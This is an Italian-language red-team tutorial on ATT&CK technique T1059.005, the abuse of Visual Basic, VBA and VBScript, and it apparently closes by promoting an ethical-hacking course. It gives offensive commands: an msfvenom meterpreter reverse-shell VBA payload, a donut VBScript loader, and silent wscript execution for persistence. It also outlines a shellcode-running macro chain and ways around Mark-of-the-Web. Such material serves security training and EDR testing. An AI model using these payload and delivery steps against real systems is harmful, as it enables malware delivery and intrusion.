Visual Basic: Abuso di VB/VBA/VBScript per Esecuzione (T1059.005)
Visual Basic rappresenta uno dei vettori di esecuzione più longevi e diffusi nell'arsenale degli attaccanti su piattaforme Windows. Sebbene Microsoft abbia classificato il linguaggio come legacy, VB continua a vivere attraverso il .NET Framework, .NET Core e soprattutto nelle sue derivazioni VBA (Visual Basic for Applications) integrato in Office e VBScript, ancora presente come motore di scripting predefinito su Windows tramite wscript.exe e cscript.exe.
La tecnica si colloca nella tattica TA0002 (Execution) del framework ATT&CK e viene tipicamente innescata in fase di Initial Access tramite Spearphishing Attachment, dove documenti Office con macro malevole o file .vbs allegati eseguono codice arbitrario sull'host della vittima. Il bypass del Mark-of-the-Web è spesso combinato per aggirare le protezioni introdotte da Microsoft.
L'impatto è documentato in maniera massiccia: 45 gruppi APT, 67 famiglie malware e 15 campagne catalogate sfruttano attivamente VB, dai wiper come StoneDrill ai loader bancari come Ursnif e Grandoreiro, passando per operazioni di spionaggio state-sponsored come la SolarWinds Compromise e i 2015/2016 Ukraine Electric Power Attack. La ubiquità di VBScript come componente nativo di Windows, unita alla facilità di offuscamento e alla capacità di invocare COM, WMI e Windows API, rende questa tecnica un pilastro operativo persistente per attori di ogni livello di sofisticazione.
L'approccio red team a VB/VBA richiede padronanza sia della generazione di payload sia dei meccanismi di consegna. Il punto di partenza più comune è la costruzione di documenti Office weaponizzati con macro VBA che eseguono shellcode via Win32 API. Framework come Metasploit (open source) generano payload VBA tramite msfvenom -p windows/x64/meterpreter/reverse_https LHOST=
Per operazioni più raffinate, Donut (open source) — citato in ATT&CK come S0695 — consente di trasformare assembly .NET, DLL o eseguibili in shellcode posizione-indipendente, con output VBScript direttamente utilizzabile:
donut -a 2 -f 6 payload.exe -o loader.vbs
Il flag -f 6 seleziona proprio l'output VBScript. Nim-Shellcode e macro_pack (open source) restano riferimenti per l'offuscamento di macro VBA e la generazione di documenti in formato .doc, .xls, .hta, con obfuscation multilivello per evadere signature statiche.
Una catena tipica in laboratorio prevede: creazione di un documento Word con macro AutoOpen o Document_Open che decodifica un blob Base64, alloca memoria via VirtualAlloc, copia lo shellcode con RtlMoveMemory e ne triggera l'esecuzione tramite CreateThread. Questa sequenza — replicata da famiglie come SVCReady (S1064) e Squirrelwaffle (S1030) — resta didatticamente utile per validare la telemetria EDR.
Su Windows moderni la sfida principale è aggirare il blocco delle macro da Internet basato su MOTW, introdotto per default da Office build 2203. Le tecniche legittime da testare includono consegna via container ISO/IMG/VHD (che storicamente non propagavano l'attributo MOTW) oppure abuso di formati .xll e .pub. Cobalt Strike (a pagamento) — S0154 nel catalogo ATT&CK — offre nativamente generazione di macro VBA tramite il menu Attacks > Packages > MS Office Macro, con integrazione diretta ai listener HTTP/HTTPS.
Per esecuzione standalone di script .vbs, la sintassi operativa è banale:
wscript.exe //B //Nologo payload.vbs
dove //B sopprime prompt e output. Utile in scenari di persistenza via chiavi Run o cartella Startup, replicando il comportamento di Smoke Loader (S0226) e Mustang Panda con lo script autorun.vbs. In ambiente lab isolato, strumenti come oletools (open source) — in particolare olevba e mraptor — servono a decodificare, analizzare e validare la detonazione dei propri artefatti prima della delivery simulata.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo